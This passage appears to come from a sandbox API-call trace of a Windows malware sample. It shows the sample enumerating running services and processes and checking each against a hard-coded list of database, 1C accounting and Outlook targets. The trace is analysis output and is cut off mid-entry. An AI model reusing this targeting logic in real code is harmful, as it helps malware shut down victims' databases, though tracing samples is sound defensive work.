[0075.548] lstrlenW (lpString="WPDBusEnum") returned 10 [0075.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0075.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0075.548] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0075.548] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0075.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0075.548] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe060 | out: hHeap=0x4b0000) returned 1 [0075.548] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0075.551] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0075.552] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0075.552] lstrlenW (lpString="System") returned 6 [0075.552] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0075.552] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0075.552] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0075.552] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0075.552] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0075.553] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0075.553] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0075.553] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0075.553] lstrlenW (lpString="smss.exe") returned 8 [0075.553] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0075.553] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0075.553] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0075.553] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0075.553] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0075.553] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0075.553] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0075.553] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.553] lstrlenW (lpString="csrss.exe") returned 9 [0075.554] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0075.554] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0075.554] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0075.554] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0075.554] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0075.554] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0075.554] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0075.554] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0075.554] lstrlenW (lpString="wininit.exe") returned 11 [0075.554] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0075.554] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0075.554] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0075.554] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.555] lstrlenW (lpString="csrss.exe") returned 9 [0075.555] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0075.555] lstrlenW (lpString="winlogon.exe") returned 12 [0075.555] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0075.555] lstrlenW (lpString="services.exe") returned 12 [0075.555] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0075.556] lstrlenW (lpString="lsass.exe") returned 9 [0075.556] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0075.556] lstrlenW (lpString="lsm.exe") returned 7 [0075.556] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.556] lstrlenW (lpString="svchost.exe") returned 11 [0075.556] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.557] lstrlenW (lpString="svchost.exe") returned 11 [0075.557] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.557] lstrlenW (lpString="svchost.exe") returned 11 [0075.557] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.557] lstrlenW (lpString="svchost.exe") returned 11 [0075.557] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.558] lstrlenW (lpString="svchost.exe") returned 11 [0075.558] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0075.558] lstrlenW (lpString="audiodg.exe") returned 11 [0075.558] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.558] lstrlenW (lpString="svchost.exe") returned 11 [0075.558] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.559] lstrlenW (lpString="svchost.exe") returned 11 [0075.559] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0075.559] lstrlenW (lpString="dwm.exe") returned 7 [0075.559] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0075.559] lstrlenW (lpString="explorer.exe") returned 12 [0075.559] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0075.560] lstrlenW (lpString="spoolsv.exe") returned 11 [0075.560] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.560] lstrlenW (lpString="svchost.exe") returned 11 [0075.560] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0075.560] lstrlenW (lpString="taskhost.exe") returned 12 [0075.560] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0075.561] lstrlenW (lpString="taskeng.exe") returned 11 [0075.561] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0075.561] lstrlenW (lpString="communist_nick.exe") returned 18 [0075.561] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0075.561] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0075.561] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0075.562] lstrlenW (lpString="prize.exe") returned 9 [0075.562] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0075.562] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0075.562] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0075.563] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0075.563] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0075.563] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0075.563] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0075.563] lstrlenW (lpString="prospects.exe") returned 13 [0075.563] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0075.564] lstrlenW (lpString="signalpackard.exe") returned 17 [0075.564] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0075.564] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0075.564] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0075.564] lstrlenW (lpString="release.exe") returned 11 [0075.564] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0075.564] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0075.565] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0075.565] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0075.565] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0075.565] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0075.565] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0075.566] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0075.566] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0075.566] lstrlenW (lpString="stickers_nations.exe") returned 20 [0075.566] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0075.566] lstrlenW (lpString="initiated-scary.exe") returned 19 [0075.566] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0075.566] lstrlenW (lpString="3dftp.exe") returned 9 [0075.567] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0075.567] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0075.567] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0075.567] lstrlenW (lpString="alftp.exe") returned 9 [0075.567] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0075.567] lstrlenW (lpString="barca.exe") returned 9 [0075.567] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0075.568] lstrlenW (lpString="bitkinex.exe") returned 12 [0075.568] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0075.568] lstrlenW (lpString="coreftp.exe") returned 11 [0075.568] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0075.568] lstrlenW (lpString="far.exe") returned 7 [0075.568] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0075.569] lstrlenW (lpString="filezilla.exe") returned 13 [0075.569] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0075.569] lstrlenW (lpString="flashfxp.exe") returned 12 [0075.569] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0075.569] lstrlenW (lpString="fling.exe") returned 9 [0075.569] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0075.570] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0075.570] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0075.570] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0075.570] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0075.570] lstrlenW (lpString="icq.exe") returned 7 [0075.570] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0075.571] lstrlenW (lpString="leechftp.exe") returned 12 [0075.571] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0076.031] lstrlenW (lpString="ncftp.exe") returned 9 [0076.031] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0076.031] lstrlenW (lpString="notepad.exe") returned 11 [0076.031] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0076.031] lstrlenW (lpString="operamail.exe") returned 13 [0076.031] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0076.032] lstrlenW (lpString="pidgin.exe") returned 10 [0076.032] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0076.032] lstrlenW (lpString="scriptftp.exe") returned 13 [0076.032] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0076.033] lstrlenW (lpString="skype.exe") returned 9 [0076.033] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0076.033] lstrlenW (lpString="smartftp.exe") returned 12 [0076.033] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0076.033] lstrlenW (lpString="thunderbird.exe") returned 15 [0076.033] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0076.034] lstrlenW (lpString="totalcmd.exe") returned 12 [0076.034] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0076.035] lstrlenW (lpString="trillian.exe") returned 12 [0076.035] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, 